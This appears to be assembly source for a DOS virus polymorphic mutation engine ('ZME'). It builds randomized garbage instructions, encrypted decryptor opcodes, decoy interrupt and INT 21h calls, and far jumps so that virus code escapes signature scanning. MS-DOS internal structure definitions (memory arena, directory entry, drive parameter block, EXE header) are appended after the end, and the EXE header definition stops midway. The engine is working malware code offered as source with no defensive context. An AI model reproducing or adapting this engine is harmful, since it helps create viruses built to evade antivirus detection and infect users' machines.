pblabel encode_CALL
test [engdata.zmeflags], MASK EN_USE_CALL
jz garble_once
cmp byte ptr [di-3], opCALL ;<<<debug
jz encode_cond_jmp
cmp word ptr [engdata.begin_sub], 0 ; is there one pending?
jz encode_cond_jmp ; encode cond jmp
test [engdata.zmeflags], MASK EN_RELOCATOR
GOIN NZ
ror al, 1
DOIF C
sto_byte opCALL ; call near
mov ax, [engdata.begin_sub] ; calculate CALL offset
pblabel sto_min_di_2
sub ax, di
dec ax
dec ax
DOELSE ; encode CALL register
call choose_wr_and_encode_mov ;al-register, cx-value
mov ax, [engdata.begin_sub]
call setup_reg ;
mov ah, 0D0h ; ax=0xD0FF now
or ah, cl ;
DONE
stosw
@@ret:
ret
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel not_branch_garble ;
DO ; get random INSTRUCTION
call RND_GET_BYTE ; mostly do larger instructions normalise
and al, 00111110b ; random number is it the same as before?
cmp al, [engdata.lastgarble] ; then try again, we don't want two
CYCLE E ; of the same sort in a row
pblabel force_not_branch_garble
mov [engdata.lastgarble], al ; else remember this one and process it
;---------------------------------------------------------------------------
add ax, offset garble_table ;
xchg si, ax ;
mov cx, [si] ;
and cl, not 1 ;
call RND_GET_BYTE ;
and al, ch ;
and al, 3 ;
or cl, al ;
lea bx, [vir_heap._engdata.reg0] ;
and ch, not MASK R_M ; clear bottom 3 bits
DOIF Z ; if mod = 0
;- encode two register instruction -- or reg und memory --------------------
;----- process M0D ---------------------------------------------------------
call RND_GET_BYTE ; get random M0D
and al, MASK M0D ;
or ch, al ; fill in the field
rol al, 2 ;
mov dl, al ; dl=M0D
cmp al, 11b ; use two register ?
DOIF B ; if use memory, i.e. [bx+si]
and cl, not 1 ; change to byte data "byte sized"
DONE ; for not MOV AX,[0FFFFh]
;----- process Reg ---------------------------------------------------------
call choose_register ;
test byte ptr [si], 00000100b
DOIF NZ ; can we use any register as 1st ?
call RND_GET_THREE_BITS
DONE ; yes! any! // for (test/cmp) operation
mov [engdata.lastchoose], al
shl al, REG ; move register into the reg field
;----- process R/M ---------------------------------------------------------
push ax
DO
call RND_GET_BYTE ; get random R/M
and al, MASK R_M ; in memory access,
cmp al, [engdata.lastchoose]
CYCLE E ;don't "mov ax,ax" etc
or ch, al ;
cmp al, 110b ; if (R/M = 6)
PASS NE ;
test ch, MASK M0D ; and MOD = 00
DOIF E ;
mov dl, 2 ; need two byte after instruction
DONE ;
;---------------------------------------------------------------------------
cmp ch, 0C0h
DOIF B
call RND_GET_BYTE
DOIF P
MASKA al,0010x110 ; 26, 2E, 36, 3E - segment prefix
stosb ;segcs | seges
DONE
DONE
pop ax
DOELSE
;- encode one register instruction -------------- ! no memory ! ------------
call choose_register ;
xor dl, dl ; no data bytes
test byte ptr [si], 1 ;
DOIF Z ; if shift, not, neg inctruction
inc dx ; assume byte
test cl, 1 ; byte or word of data?
DOIF NZ ; continue if so
inc dx ; INC DX is better!!!
DONE ;
DONE
cmp si, offset enc_mov_imm
DOIF E
test cl, 1
DOIF NE
add al, 8 ;word
DONE
add al, 0B0h
mov cl, al
jmp less_1
DONE
;---------------------------------------------------------------------------
cmp al, R_AX
DOIF E
test cl, 01111110b
DOIF Z
and cl, 1
or cl, ch
MASKA cl, 00xxx10x
jmp less_1
DONE
cmp si, offset enc_test
DOIF E
sub cl, 0F6h-0A8h
pblabel less_1
call RND_GET_BYTE
mov ch, al
dec dx
DONE
DONE
;- store instruction -------------------------------------------------------
DONE ;
or ch, al ; 1st register
xchg cx, ax ;
stosw ; write the instruction
;- store data bytes after instruction --------------------------------------
pblabel store_data_bytes_after_instruction
and dl, dl ; needs data bytes?
DOIF NZ ;
cmp dl, 3 ; check length of instruction
DOIF NE ;
call RND_GET_BYTE ;
stosb ; write the random byte
dec dl ;
CYCLE NZ ;
DONE ;
retn ;
;endp ;
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_register
call choose_word_register
test cl, 1 ; byte or word register?
DOIF Z ; if word, we are okay
cmp al, R_SP
DOIF AE ; is a SI, DI, BP,
pop bx
DONE
and ah, 4 ; change xL to xH
or al, ah ; make either byte or word register
DONE
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_word_register
;
; 1..3 - crypt registers
; 4..6 - garbage registers
; 0..6 - all registers
; 7654321
;useregs 01111111b
; ÀÁÁÁÁÁÁ***"1" - possible use reg6..reg0
; DO
pblabel doo
mov bl,[engdata.useregs]
call RND_GET_THREE_BITS ; get random number
clc ; CF=0
xchg cx,ax
shr bl,cl
xchg cx,ax
jnc doo
dec ax
lea bx, [vir_heap._engdata.reg0]
add bx, ax
;ifd
cmp byte ptr [bx],-1
;pub
protect_reg equ byte ptr $-1
je doo
cmp al,[engdata.lastchoose]
je doo
mov [engdata.lastchoose],al
mov al,[bx]
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel setup_reg
add ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
sub ax, [engdata.targetptr]
stosw
pblabel not_branch_garble_with_save_cx
push cx
call not_branch_garble
pop cx
mov ax, 0E0FFh ; encode JMP register
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_push ;bx
DO
push bx
call choose_word_register
pop bx
cmp al,R_CX
CYCLE BE ;te:R_AX or R_CX
push ax
xchg cx, ax
call encode_mov
xchg ax, bx
pblabel push_any_sux1
stosw
pop ax
pblabel push_any_sux ;al-register for push
add al, opPUSH_AX ;push sux
stosb
ret
jmp many_nonbranch_garble
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_push_addr
call choose_word_register
push ax
xchg cx,ax
call encode_mov
mov bx,di
mov ax, VIRUSSTACKSIZE ;[engdata.sourceptr]
sub ax, [engdata.targetptr]
jmp push_any_sux1
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_far_jmp ;cx:dx
call RND_GET
DOIF P
push dx
mov bx, cx
call encode_push
pop bx
call encode_push
STO_BYTE opRETF
DOELSE
STO_BYTE opJMPFAR
xchg ax, dx
stosw
xchg ax, cx
stosw
DONE
jmp shit
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel choose_function
call rnd_get_byte
;- choose function
and al, 0Fh
add ax, offset int21func
cmp ax, offset cf_1
xchg si, ax
;- setup CF
DOIF B
call choose_word_register
xchg cx, ax
call encode_zero_reg ;encode CF=0
DONE
;comment #
;- setup DX
;- enc mov dx,0..7fff
;- need for deldir, delfile, findfirst
cmp si,offset setdx
DOIF AE
mov cl, R_DX
call encode_mov
call RND_GET
shr ax, 1
stosw
DONE
;#
test di,ax ;pseudo-random
;- setup reg AH
mov al, opMOV_AHimm ;mov ah,xx
DOIF P
sub cl, cl ;mov cl,R_AX
call encode_mov ;mov ax,xxxx
call RND_GET_BYTE
DONE

stosb
movsb
ret
;endp
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel int_any_reg
db 8h, 1ch, 28h, 2Bh
db 11h, 12h
pblabel with_setup
db 16h, 17h
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel cpm
db 18h,1dh,1eh,20h
pblabel int21func ;db 10h dup (30h);function return cf=1 or no change cf
db 51h, 62h, 30h ;- use as cmp too
db 19h,2ah,2ch, 36h,4dh,0dh,23h, 0bh; 54,
pblabel cf_1 ;function return cf=1 /--/--/- need setup(DX<>-1)
;46,
db 5ch
pblabel setdx ;db 5c,5c,5c
db 3Dh, 41h,4eh,3Ah ;4Bh, -sux
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;* encode int 21 *ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


pblabel encode_int21
mov protect_reg, R_AX
test [engdata.zmeflags], MASK EN_USE_INT
jz unprotect_reg1
cmp [engdata.useregs], REG_ALL
jne unprotect_reg1
call RND_GET_BYTE
; jz encode_int
DOIF Z
;*ENCODE INTERRUPT**********************************************************
pblabel encode_int
call RND_GET_THREE_BITS
test [engdata.zmeflags], MASK EN_RELOCATOR
DOIF Z ;only without relocator
call RND_GET_THREE_BITS
; jz encode_cpm
DOIF Z
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel encode_cpm
call encode_push_addr
push bx
call many_nonbranch_garble
STO_BYTE opPUSH_CS ; encode PUSH CS
call many_nonbranch_garble
call RND_GET_THREE_BITS ;push sux
call push_any_sux ;al-register for push
call many_nonbranch_garble
mov cl,R_CX ;mov cx,cpmfunc
call encode_mov
call RND_GET_THREE_BITS
add ax, offset cpm
xchg si, ax
movsb
call RND_GET
stosb
call RND_GET_THREE_BITS
mov cx, ax
mov al, 0Ch
sub al, cl
shl al, 4
xchg dx, ax
call encode_far_jmp
pop bx
add [bx], di
pblabel unprotect_reg1
jmp unprotect_reg
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

DONE
DONE
;* encode int 8, 1C, 16, 17, 11, 12, 2B, 28 ********************************
cmp al, 5
DOIF A ;need setup
push ax
sto_byte opMOV_AHimm
test ax, di ;pseudo-random
sbb ax, ax ;-1 | 0
inc ax ;
inc ax ;
stosb ; 1 | 2
pop ax
DONE
add ax, offset int_any_reg
push ax
call many_nonbranch_garble
pop si
sto_byte opINT
movsb
pblabel unprotect_reg
mov protect_reg, -1
ret
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

DONE
call RND_GET_BYTE
DOIF Z
call choose_function
sto_two_byte opINT, 21h
DOELSE
call RND_GET_BYTE
mov al,6
DOIF Z
sub al,6-1Eh
DONE
stosb ;push ds(es)
push ax
call many_nonbranch_garble
call choose_word_register
xchg cx, ax
call encode_mov
call RND_GET_THREE_BITS
stosw
shl ax, 4
mov [engdata.segm_IDT], 84h
sub [engdata.segm_IDT], al
;- enc mov ds(es), reg
sto_byte 8Eh
pop ax
push ax ;ax=6 | 1E
MASKA al, 110xx000
add al, cl
stosb
call choose_function ;clear C before pushf
sto_byte opPUSHF ;pushf
; call many_nonbranch_garble

test [engdata.zmeflags], MASK EN_RELOCATOR


GOIN NZ ;force use call
call RND_GET
DOIF Z ;use call
pop ax
push ax ;ax=6 | 1E
cmp al,6
DOIF E
sto_byte opSEGES ;seges
DONE ;ZF=1 -> 26, ZF=0 -> EB(maybe)
sto_two_byte 0ffh, 1Eh
mov al, [engdata.segm_IDT]
xor ah, ah
stosw
DOELSE ;use jmp
sto_byte opPUSH_CS ;push cs
call encode_push_addr
pop ax
push ax ;ax=6 | 1E
cmp al, 6
DOIF E
sto_byte opSEGES ;seges
DONE
push bx
sto_two_byte 0ffh, 2Eh
mov al, [engdata.segm_IDT]
xor ah, ah
stosw
call shit
pop bx
add [bx],di
DONE
pop ax
inc ax
stosb
DONE
;** encode test CF after int21 *********************************************
call RND_GET_BYTE
DOIF NZ
; jz @@ret ;maybe :)
mov al, opJC
adc al, 0
stosb
cmp si, offset cf_1
DOIF A ;if instruct > 0A -> 73<=>72
dec ax
DONE
cmp al, opJC
DOIF NE ;73(jnc)
call RND_GET_THREE_BITS
inc ax ;al=1..8
stosb ;over shit
call shit_ax
DOELSE ;72(jc)
call RND_GET_BYTE ; to shit
stosb
DONE
DONE
pblabel unprotect_reg2
jmp unprotect_reg
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; high byte holds the opcode, low byte holds the second byte of the
; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low
; byte hold the maximum amount to add to the high byte in creating the
; instruction. This allows one word to generate more than one instruction,
; including the byte or word forms of the instructions
; note that this is reverse of what will be actually stored
;----------------------------------------------------------------------------
ONEHALF = 0
TWOHALF = 1 ;USE _ANY_ REGISTER FOR THIS OPERATION
BINOP = 0 ;TWO ARGUMENT OPERATION
UNEOP = 1 ;ONE ARGUMENT OPERATION
ONLY_THIS_OPCODE = 00b
USE_ANY_SIZE = 01b
INCL_NEXT_OPCODE = 11b
;----------------------------------------------------------------------------
dop macro highopcode, shiftneg, lowpcode, twohalf, secdlim
db highopcode or shiftneg, lowpcode or ((twohalf shl 2) and 4) or secdlim
endm
;----------------------------------------------------------------------------
pblabel garble_table ;for decrypt
pblabel encrypt_opcode_table
dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ;³
dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ;³
dop 11010000b, UNEOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³

dop 10000000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE ;³Ú
dop 00000010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³
dop 00110010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³
dop 00101010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE ;³³
dop 10000000b, BINOP, 11101000b, ONEHALF, USE_ANY_SIZE ;À³
; ³
dop 11010000b, UNEOP, 11001000b, ONEHALF, USE_ANY_SIZE ; ³
dop 11110110b, UNEOP, 11011000b, ONEHALF, USE_ANY_SIZE ; ³
dop 10000000b, BINOP, 11110000b, ONEHALF, USE_ANY_SIZE ; ³
; for encrypt
pblabel end_encrypt_opcode_table ; ^---^^-simetrichno
sizeof_encrypt_opcode_table equ ($-encrypt_opcode_table)

;startup
pblabel enc_mov_imm
dop 10110000b, BINOP, 11000000b, ONEHALF, USE_ANY_SIZE
dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00010010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00011010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
dop 00100010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE;
; dop 00111000b, BINOP, 00000000b, TWOHALF, INCL_NEXT_OPCODE
dop 00111010b, BINOP, 00000000b, TWOHALF, USE_ANY_SIZE
; dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE
;
; dop 10001010b, BINOP, 00000000b, ONEHALF, USE_ANY_SIZE;
dop 10000000b, BINOP, 11001000b, ONEHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11010000b, ONEHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11011000b, ONEHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11100000b, ONEHALF, USE_ANY_SIZE

; dop 10000000b, BINOP, 11100000b, ONEHALF, USE_ANY_SIZE


dop 10000100b, BINOP, 00000000b, TWOHALF, USE_ANY_SIZE
dop 11010000b, UNEOP, 11001000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11010000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11011000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11100000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11101000b, ONEHALF, INCL_NEXT_OPCODE
dop 11010000b, UNEOP, 11111000b, ONEHALF, INCL_NEXT_OPCODE
; dop 11010000b, UNEOP, 11111000b, ONEHALF, INCL_NEXT_OPCODE
dop 11110110b, UNEOP, 11010000b, ONEHALF, USE_ANY_SIZE
; ^^ |= (RND and ^^)
; ^ 1 -> use any register & memory
; ^^ = 0 possible use memory, 11- registers only
; ^- if 1 then not need arguments(shift, not, neg)
pblabel enc_test
dop 11110110b, BINOP, 11000000b, TWOHALF, USE_ANY_SIZE
dop 10000000b, BINOP, 11111000b, TWOHALF, USE_ANY_SIZE
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
pblabel onebyte_table
stc ; |
clc ; |
cld ; |
cmc ; |
sahf ; |
pblabel onebyte_table_ax ; |
cli ;-\
dec ax ; |
inc ax ;-/-\
;****************************************|**********************************
lahf ; |
daa ; |
das ; |
cbw ; |
xlat ; /
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;PMtest db 050h,0B8h,086h,016h,0CDh,02Fh,023h,0C0h,058h,075h,006h,05Fh,055h
db 08Bh,0ECh,0FFh,0E7h
pblabel ZME_END
ends
end

;read/write int 25/26


AbsDiskIORec STRUC
AbsDisk_start_sect dd ? ; lStartSect logical sector no. to start r/w
AbsDisk_sect_num dw ? ; wSectCnt number of sectors to read/write
AbsDisk_buffer dd ? ; pBuffer FAR addr of data buffer
ENDS

; SCCSID = @(#)arena.asm 1.1 85/04/09


;BREAK <Memory arena structure>

;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
;
; arena item
;
arena STRUC
arena_signature DB ? ; 4D for valid item, 5A for last item
arena_owner DW ? ; owner of arena item
arena_size DW ? ; size in paragraphs of item
arena ENDS

;
; CAUTION: The routines in ALLOC.ASM rely on the fact that arena_signature
; and arena_owner_system are all equal to zero and are contained in DI. Change
; them and change ALLOC.ASM.

arena_owner_system EQU 0 ; free block indication

arena_signature_normal EQU 4Dh ; valid signature, not end of arena


arena_signature_end EQU 5Ah ; valid signature, last block in arena
; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

; SCCSID = @(#)dirent.asm 1.1 85/04/10


; SCCSID = @(#)dirent.asm 1.1 85/04/10
;Break <Directory entry>

;
; +---------------------------+
; | (12 BYTE) filename/ext | 0 0
; +---------------------------+
; | (BYTE) attributes | 11 B
; +---------------------------+
; | (10 BYTE) reserved | 12 C
; +---------------------------+
; | (WORD) time of last write | 22 16
; +---------------------------+
; | (WORD) date of last write | 24 18
; +---------------------------+
; | (WORD) First cluster | 26 1A
; +---------------------------+
; | (DWORD) file size | 28 1C
; +---------------------------+
;
; First byte of filename = E5 -> free directory entry
; = 00 -> end of allocated directory
; Time: Bits 0-4=seconds/2, bits 5-10=minute, 11-15=hour
; Date: Bits 0-4=day, bits 5-8=month, bits 9-15=year-1980
;

dir_entry STRUC
dir_name DB 11 DUP (?) ; file name
dir_attr DB ? ; attribute bits
dir_pad DB 10 DUP (?) ; reserved for expansion
dir_time DW ? ; time of last write
dir_date DW ? ; date of last write
dir_first DW ? ; first allocation unit of file
dir_size_l DW ? ; low 16 bits of file size
dir_size_h DW ? ; high 16 bits of file size
dir_entry ENDS

attr_read_only EQU 1h
attr_hidden EQU 2h
attr_system EQU 4h
attr_volume_id EQU 8h
attr_directory EQU 10h
attr_archive EQU 20h
attr_device EQU 40h ; This is a VERY special bit.
; NO directory entry on a disk EVER
; has this bit set. It is set non-zero
; when a device is found by GETPATH

attr_all EQU attr_hidden+attr_system+attr_directory


; OR of hard attributes for FINDENTRY

attr_ignore EQU attr_read_only+attr_archive+attr_device


; ignore this(ese) attribute(s) during
; search first/next

attr_changeable EQU attr_read_only+attr_hidden+attr_system+attr_archive


; changeable via CHMOD

; SCCSID = @(#)dpb.asm 1.1 85/04/10


; SCCSID = @(#)dpb.asm 1.1 85/04/10
;BREAK <DPB structure>
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;
; C A V E A T P R O G R A M M E R ;
; ;
dpb STRUC
dpb_drive DB ? ; Logical drive # assoc with DPB
dpb_UNIT DB ? ; Driver unit number of DPB
dpb_sector_size DW ? ; Size of physical sector in bytes
dpb_cluster_mask DB ? ; Sectors/cluster - 1
dpb_cluster_shift DB ? ; Log2 of sectors/cluster
dpb_first_FAT DW ? ; Starting record of FATs
dpb_FAT_count DB ? ; Number of FATs for this drive
dpb_root_entries DW ? ; Number of directory entries
dpb_first_sector DW ? ; First sector of first cluster
dpb_max_cluster DW ? ; Number of clusters on drive + 1
dpb_FAT_size DB ? ; Number of records occupied by FAT
dpb_dir_sector DW ? ; Starting record of directory
dpb_driver_addr DD ? ; Pointer to driver
dpb_media DB ? ; Media byte
dpb_first_access DB ? ; This is init. to -1 to force a media
; check the first time this DPB is used
dpb_next_dpb DD ? ; Pointer to next Drive parameter block
dpb_next_free DW ? ; Cluster # of last allocated cluster
dpb_free_cnt DW ? ; Count of free clusters, -1 if unknown
dpb ENDS

DPBSIZ EQU SIZE dpb ; Size of the structure in bytes

DSKSIZ = dpb_max_cluster ; Disk size (used during init only)


; ;
; C A V E A T P R O G R A M M E R ;
;----+----+----+----+----+----+----+----+----+----+----+----+----+----+----;

; SCCSID = @(#)exe.asm 1.1 85/04/10


; SCCSID = @(#)exe.asm 1.1 85/04/10
;BREAK <EXEC and EXE file structures>
;
; EXEC arg block - load/go program
;

;
; The following get used as arguments to the EXEC system call. They indicate
; whether or not the program is executed or whether or not a program header
; gets created.
;
exec_func_no_execute EQU 1 ; no execute bit
exec_func_overlay EQU 2 ; overlay bit

Exec0 STRUC
Exec0_environ DW ? ; seg addr of environment
Exec0_com_line DD ? ; pointer to asciz command line
Exec0_5C_FCB DD ? ; default fcb at 5C
Exec0_6C_FCB DD ? ; default fcb at 6C
Exec0 ENDS

Exec1 STRUC
Exec1_environ DW ? ; seg addr of environment
Exec1_com_line DD ? ; pointer to asciz command line
Exec1_5C_FCB DD ? ; default fcb at 5C
Exec1_6C_FCB DD ? ; default fcb at 6C
Exec1_SP DW ? ; stack pointer of program
Exec1_SS DW ? ; stack seg register of program
Exec1_IP DW ? ; entry point IP
Exec1_CS DW ? ; entry point CS
Exec1 ENDS

Exec3 STRUC
Exec3_load_addr DW ? ; seg address of load point
Exec3_reloc_fac DW ? ; relocation factor
Exec3 ENDS

;
; Exit codes in upper byte
;
Exit_terminate EQU 0
Exit_abort EQU 0
Exit_Ctrl_C EQU 1
Exit_Hard_Error EQU 2
Exit_Keep_process EQU 3

;
; EXE file header
;

EXE_file STRUC
exe_signature DW ? ; must contain 4D5A (yay zibo!)
exe_len_mod_512 DW ? ; low 9 bits of length
exe_pages DW ? ; number of 512b pages in file
exe_rle_count DW ? ; count of reloc entries
exe_par_dir DW ? ; number of paragraphs before image
exe_min_BSS DW ? ; minimum number of para of BSS
exe_max_BSS DW ? ; max number of para of BSS
exe_SS DW ? ; stack of image
exe_SP DW ? ; SP of image
